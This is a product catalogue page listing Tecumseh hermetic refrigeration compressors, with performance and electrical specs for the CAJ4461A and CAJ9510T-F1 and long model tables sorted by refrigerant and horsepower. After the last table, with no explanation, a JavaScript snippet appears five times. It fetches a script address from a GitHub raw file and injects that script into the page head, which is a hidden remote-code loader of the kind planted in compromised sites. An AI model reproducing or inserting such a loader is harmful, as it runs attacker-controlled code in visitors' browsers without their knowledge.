Mbsm.pro, Tecumseh,1/2 hp, HBP, Caj4461y, Caj4461A, Tecumseh, Compressor, Refrigeration, R410A, CAJ9510T-F1, 1hp, hbp
Tecumseh Compressor CAJ4461A
Product Description:
Type: Reciprocating Compressors
Application: HBP – High Back Pressure
ProductDescription: R-12
Voltage/Frequency: 220-240V ~ 50Hz
Version: N/A
Product Specifications
Performance:
Refrigeration Capacity | Input Power | (E)Efficiency | EVAP TEMP | Condition | AMBIENT TEMP | RETURN GAS | LIQUID TEMP | ||||||
Condition | Test Voltage | (R)Btu/ h | (R)kcal/ h | (R) W | (I) W | (E)Btu/Wh | (E)kcal/ Wh | W/W | |||||
EN12900 | 220V ~ 50HZ | 4629 | 1166 | 1356 | 657 | 7.04 | 1.77 | 2.06 | 5°C ( 41°F) | 50°C ( 122°F) | 32°C ( 90°F) | 20°C ( 68°F) | 50°C ( 122°F) |
General
Evaporating Temp. Range: -15°C to 15°C (5°F to 59°F)
Motor Torque: High Start Torque (HST)
Compressor Cooling: Fan
Mechanical
Weight: 18
Weight Unit of Measure: KG
Displacement (cc): 18.3
Oil Type: Mineral
Viscosity(cSt): 68
Oil Charge (cc): 475
Electrical
Voltage Range (50 Hz): 198-253
Voltage Range (60 Hz):
Locked Rotor Amps (LRA): 20
Rated Load Amps (RLA 50 Hz): 3.8
Rated Load Amps (RLA 60 Hz): 0
Max. Continuous Current (MCCin Amps): 0
Motor Resistance (Ohm) – Main: 3.9
Motor Resistance (Ohm) – Start: 20.6
MotorType: CSIR
Tecumseh Reciprocating Compressor CAJ9510T-F1 F VATC
Tecumseh Reciprocating Compressor,
1,Model :CAJ9510T-F1 F VATC,MBP/HBP
2,Refrigerant: R22
3,Voltage:220~240V/50HZ,1Hp
4Datas as follow:
Refrigeration Capacity | Input Power | ||||
Condition | Test Voltage | Btu/h | kcal/h | W | W |
EN12900 ASERCOM | 230V ~ 50HZ | 4307 | 1085 | 1262 | 749 |
Efficiency | EVAP TEMP | COND TEMP | AMBIENT TEMP | RETURN GAS | LIQUID TEMP | ||
Btu/Wh | kcal/Wh | W/W | |||||
5.75 | 1.45 | 1.68 | -10°C (14°F) | 45°C (113°F) | 32°C (90°F) | 0°C (32°F) | 45°C (113°F) |
Evaporating Temp. Range: | -23.3°C to 12.8°C (-10°F to 55°F) |
Motor Torque: | High Start Torque (HST) |
Compressor Cooling: | Fan |
Weight: | 22.922 |
Weight Unit of Measure: | N/A |
Displacement (cc): | 18.3 |
Oil Type: | Mineral |
Viscosity (cSt): | 68 |
Oil Charge (cc): | 887 |
Sound Power dB(A): | N/A |
Voltage Range (50 Hz): | 198-253 |
Voltage Range (60 Hz): | N/A |
Locked Rotor Amps (LRA): | 29 |
Rated Load Amps (RLA 50 Hz): | 4.7 |
Rated Load Amps (RLA 60 Hz): | 4.7 |
Max. Continuous Current (MCC in Amps): | 7.5 |
Motor Resitance (Ohm) – Main: | 2.4 |
Motor Resitance (Ohm) – Start: | 10.3 |
Motor Type: | CSR |
Overload Type: | EXTERNAL |
Relay Type: | Potential Relay |
Specifications:
Tecumseh compressor:
Reciprocating for commercial and domestic refrigeration and air conditioning applications.
Rotary for air conditioning and commercial refrigeration applications.
We can supply more models as follow:
L’ UNITE HERMETIQUE HERMETIC COMPRESSORS | |||
MODEL | HP | TEMP | REFRIGERANT |
AEZ2415Z | 7/16 | L | R404 |
CAE2417Z | 7/16 | ||
CAE2420Z | 1/2 | ||
CAE2424Z | 5/8 | ||
CAJ2428Z | 3/4 | ||
TAJ2428Z | 3/4 | ||
CAJ2432Z | 3/4 | ||
CAJ2440Z | 1 | ||
CAJ2446Z | 1 | ||
TAJ2446Z | 1 | ||
CAJ2464Z | 1-1/2 | ||
TAJ2464Z | 1-1/2 | ||
CAJ2480Z | 2 | ||
TAJ2480Z | 2 | ||
FH2511Z | 3 | ||
TFH2511Z | 3 | ||
TAG/TAGP 2516Z | 4 | ||
TAG/TAGP 2522Z | 6 | ||
TAGD2532Z | 8 | ||
TAGD2544Z | 12 | ||
AEZ4440Z | 1/3 | M/H | |
AEZ9440Z | 1/3 | ||
AE3450Z | 3/7 | ||
CAE4450Z | 3/7 | ||
CAE9450Z | 3/7 | ||
CAE9460Z | 1/2 | ||
CAE9470Z | 9/16 | ||
CAJ9480Z | 5/8 | ||
TAJ9480Z | 5/8 | ||
CAJ9510Z | 1 | ||
TAJ9510Z | 1 | ||
CAJ9513Z | 1-1/8 | ||
TAJ9513Z | 1-1/8 | ||
CAJ4517Z | 1-1/4 | ||
TAJ4517Z | 1-1/4 | ||
CAJ4519Z | 1-3/4 | ||
TAJ4519Z | 1-3/4 | ||
FH4522Z | 2 | ||
TFH4522Z | 2 | ||
FH4524Z | 2 | ||
TFH4524Z | 2 | ||
FH4531Z | 2-3/4 | ||
TFH4531Z | 2-3/4 | ||
FH4540Z | 3-1/2 | ||
TFH4540Z | 3-1/2 | ||
AEZ4430Y | 1/4 | M/H | R134a |
AE3440Y | 1/3 | ||
CAE4440Y | 1/3 | ||
CAE4448Y | 3/7 | ||
CAE4456Y | 7/16 | ||
CAJ4452Y | 3/7 | ||
CAJ4461Y | 1/2 | ||
TAJ4461Y | 1/2 | ||
CAJ4476Y | 5/8 | ||
CAJ4492Y | 3/4 | ||
TAJ4492Y | 3/4 | ||
CAJ4511Y | 1 | ||
TAJ4511Y | 1 | ||
FH4518Y | 1-1/2 | ||
TFH4518Y | 1-1/2 | ||
FH4525Y | 2 | ||
TFH4525Y | 2 | ||
CAE2417L | 1/2 | L | R502 |
CAJ2428L | 5/8 | ||
TAJ2428L | 5/8 | ||
CAJ2432L | 3/4 | ||
CAJ2446L | 1 | ||
TAJ2446L | 1 | ||
CAJ2464L | 1-1/2 | ||
TAJ2464L | 1-1/2 | ||
TAH2480J | 2 | ||
TAH2511K | 3 | ||
TAHD2516J | 4 | ||
TAHD2522K | 6 | ||
TAG2516K | 4 | ||
TAG2522K | 6 | ||
AEZ4430E | 1/4 | M/H | R22 |
AEZ3430E | 1/4 | ||
AEZ3440E | 1/3 | ||
AEZ4440E | 1/3 | ||
AEZ9440T | 1/3 | ||
AE3450E | 3/7 | ||
CAE4450E | 3/7 | ||
CAE9450E | 3/7 | ||
CAE9460E | 1/2 | ||
CAJ9480T | 5/8 | ||
TAJ9480T | 5/8 | ||
CAJ9510T | 1 | ||
TAJ9510T | 1 | ||
CAJ9513T | 1-1/8 | ||
TAJ9513T | 1-1/8 | ||
CAJ4517E | 1-1/4 | ||
CAJ4519T | 1-3/4 | ||
TAJ4519T | 1-3/4 | ||
FH4522F | 2 | ||
TFH4522F | 2 | ||
FH4524F | 2 | ||
TFH4524F | 2 | ||
FH4531F | 2-3/4 | ||
TFH4531F | 2-3/4 | ||
TFH4538E | 3 | ||
TFH4540F | 3-1/2 | ||
TAG/TAGP 4546T | 4 | ||
TAG/TAGP 4553T | 4-1/2 | ||
TAG/TAGP 4561T | 5 | ||
TAG/TAGP 4568T | 6 | ||
TAG/TAGP 4573T | 6 | ||
TAGD4590T | 7-1/2 | ||
TAGD4610T | 9 | ||
TAGD4612T | 10 | ||
TAGD4614T | 12 |
NO | Model | Refrigerant | Horse Power |
1 | CAJ4461A-F1 G VA TC | R12 | 1/2 HP |
2 | CAJ4492A-F1 G VA TC | R12 | 3/4 HP |
3 | CAJ4511A-F1 G VA TC | R12 | 1 HP |
4 | CAE4440Y-F1 FTU | R134A | 3/8 HP |
5 | CAE4456Y-F2 FTU | R134A | 7/16 HP |
6 | CAJ4492Y-F1 TU | R134A | 3/4 HP |
7 | CAJ4511Y-F1 F VA TC | R134A | 1 HP |
8 | CAJ4461Y-F1 TU | R134A | 1/2 HP |
9 | CAJ4511Y-F1 TU | R134A | 1 HP |
10 | CAJ4476Y-F1 F TU | R134A | 5/8 HP |
11 | CAJ4461Y-F1 F VA TC | R134A | 1/2 HP |
12 | AEZ3440E-F2 FTU | R22 | 1/3 HP |
13 | CAE9460T-F2 FTU | R22 | 1/2 HP |
14 | AJ5510F-F1 F PSC TU | R22 | 3/4 HP |
15 | AJ5518E-F1 F CSR TU | R22 | 1-1/4 HP |
16 | CAE2420E-F2 GTU | R22 | 1/2 HP |
17 | CAJ9480T-F1 F VATC | R22 | 5/8 HP |
18 | CAJ9510T-F1 F VATC | R22 | 1 HP |
19 | CAJ9513T-F1 F VATC | R22 | 1-1/8 HP |
20 | CAJ9513T-F1 TU | R22 | 1-1/8 HP |
21 | CAJ4517E-F1 F VA TC | R22 | 1-1/4 HP |
22 | TAJ9510T-F1 F TU | R22 | 1 HP |
23 | CAJ4519T-F1 G VA TC | R22 | 1-3/4 HP |
24 | CAJ4519T-F1 G TU | R22 | 1-3/4 HP |
25 | CAJ2427E-F1 G TU | R22 | 3/4 HP |
26 | CAJ2439E-F1 G TU | R22 | 1 HP |
27 | TAJ9510T-F1 F VA TC | R22 | 1 HP |
28 | CAJ9480T-F1 F TU | R22 | 5/8 HP |
29 | CAJ9510T-F1 F TU | R22 | 1 HP |
30 | AJ5512E-F1 G PSC TU | R22 | 1 HP |
31 | AJ5515E-F1 G PSC TU | R22 | 1-1/4 HP |
32 | CAJ9510Z-F1 FTU | R404A | 1HP |
33 | TAJ2446Z-F1TVATC | R404A | 1HP |
34 | TAJ2464Z-F1 TTU | R404A | 1.5HP |
35 | CAE2420Z-F2 FTU | R404A | 1/2 HP |
36 | CAE2424Z-F2 FTU | R404A | 5/8 HP |
37 | CAE9460Z-F2 FTU | R404A | 1/2 HP |
38 | CAJ4519Z-F1 F VA TC | R404A | 1-3/4 HP |
39 | CAJ2446Z-F1 F TU | R404A | 1 HP |
40 | CAJ2464Z-F1 F VA TC | R404A | 1-1/2 HP |
41 | CAJ2440Z-F1 F VA TC | R404A | 1 HP |
42 | CAJ4517Z-F1 F TU | R404A | 1-1/4 HP |
43 | CAJ4519Z-F1 F TU | R404A | 1-3/4 HP |
44 | CAJ9510Z-F1 F VA TC | R404A | 1 HP |
45 | CAJ9513Z-F1 F VA TC | R404A | 1-1/8 HP |
46 | CAJ4517Z-F1 F VA TC | R404A | 1-1/4 HP |
47 | CAJ9513Z-F1 F TU | R404A | 1-1/8 HP |
48 | CAJ2428Z-F1 F TU | R404A | 3/4 HP |
49 | CAJ2432Z-F1 F VA TC | R404A | 3/4 HP |
50 | CAJ2446Z-F1 F VA TC | R404A | 1 HP |
;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});